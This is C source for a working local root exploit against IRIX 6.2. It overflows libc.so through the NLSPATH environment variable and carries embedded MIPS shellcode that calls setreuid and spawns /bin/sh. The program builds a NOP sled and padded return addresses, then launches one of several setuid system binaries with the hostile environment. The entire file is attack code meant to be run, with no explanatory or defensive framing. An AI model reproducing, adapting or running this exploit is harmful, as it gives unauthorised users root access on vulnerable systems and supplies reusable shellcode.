/*## copyright LAST STAGE OF DELIRIUM sep 1997 poland        *://lsd-pl.net/ #*/
/*## libc.so $NLSPATH                                                        #*/

#define NOPNUM 768
#define ADRNUM 176
#define TMPNUM 200

char setreuidcode[]=
    "\x30\x0b\xff\xff"    /* andi    $t3,$zero,0xffff     */
    "\x24\x02\x04\x01"    /* li      $v0,1024+1           */
    "\x20\x42\xff\xff"    /* addi    $v0,$v0,-1           */
    "\x03\xff\xff\xcc"    /* syscall                      */
    "\x30\x44\xff\xff"    /* andi    $a0,$v0,0xffff       */
    "\x31\x65\xff\xff"    /* andi    $a1,$t3,0xffff       */
    "\x24\x02\x04\x64"    /* li      $v0,1124             */
    "\x03\xff\xff\xcc"    /* syscall                      */
;

char shellcode[]=
    "\x04\x10\xff\xff"    /* bltzal  $zero,<shellcode>    */
    "\x24\x02\x03\xf3"    /* li      $v0,1011             */
    "\x23\xff\x01\x14"    /* addi    $ra,$ra,276          */
    "\x23\xe4\xff\x08"    /* addi    $a0,$ra,-248         */
    "\x23\xe5\xff\x10"    /* addi    $a1,$ra,-240         */
    "\xaf\xe4\xff\x10"    /* sw      $a0,-240($ra)        */
    "\xaf\xe0\xff\x14"    /* sw      $zero,-236($ra)      */
    "\xa3\xe0\xff\x0f"    /* sb      $zero,-241($ra)      */
    "\x03\xff\xff\xcc"    /* syscall                      */
    "/bin/sh"
;

char jump[]=
    "\x03\xa0\x10\x25"    /* move    $v0,$sp              */
    "\x03\xe0\x00\x08"    /* jr      $ra                  */
;

char nop[]="\x24\x0f\x12\x34";

main(int argc,char **argv){
    char buffer[10000],adr[4],tmp[4],*b,*envp[2];
    int i,n=-1;

    printf("copyright LAST STAGE OF DELIRIUM sep 1997 poland  //lsd-pl.net/\n");
    printf("libc.so $NLSPATH for irix 6.2 IP:17,19,20,21,22\n\n");

    if(argc!=2){
        printf("usage: %s {login|who|netprint|ordist|cancel|route|"
            "at}\n",argv[0]);
        exit(-1);
    }
    if(!strcmp(argv[1],"login")) n=0;
    if(!strcmp(argv[1],"who")) n=1;
    if(!strcmp(argv[1],"netprint")) n=2;
    if(!strcmp(argv[1],"ordist")) n=3;
    if(!strcmp(argv[1],"cancel")) n=4;
    if(!strcmp(argv[1],"route")) n=5;
    if(!strcmp(argv[1],"at")) n=6;
    if(n==-1) exit(-1);

    *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+8492+1800;
    *((unsigned long*)tmp)=(*(unsigned long(*)())jump)()+8492-1024;

    envp[0]=buffer;
    envp[1]=0;

    b=buffer;
    sprintf(b,"NLSPATH=");
    b+=8;
    for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
    for(i=0;i<strlen(setreuidcode);i++) *b++=setreuidcode[i]; 
    for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i]; 
    *b++=0xff;
    for(i=0;i<TMPNUM;i++) *b++=tmp[i%4];
    for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
    *b=0;

    switch(n){
    case 0: execle("/bin/login","lsd",0,envp);
    case 1: execle("/sbin/who","lsd",0,envp);
    case 2: execle("/usr/lib/print/netprint","lsd",0,envp);
    case 3: execle("/usr/bsd/ordist","lsd",0,envp);
    case 4: execle("/usr/bin/cancel","lsd",0,envp);
    case 5: execle("/usr/etc/route","lsd","add",0,envp);
    case 6: execle("/usr/bin/at","lsd","bzz",0,envp);
    }
}
/*                    www.hack.co.za           [19 August 2000]*/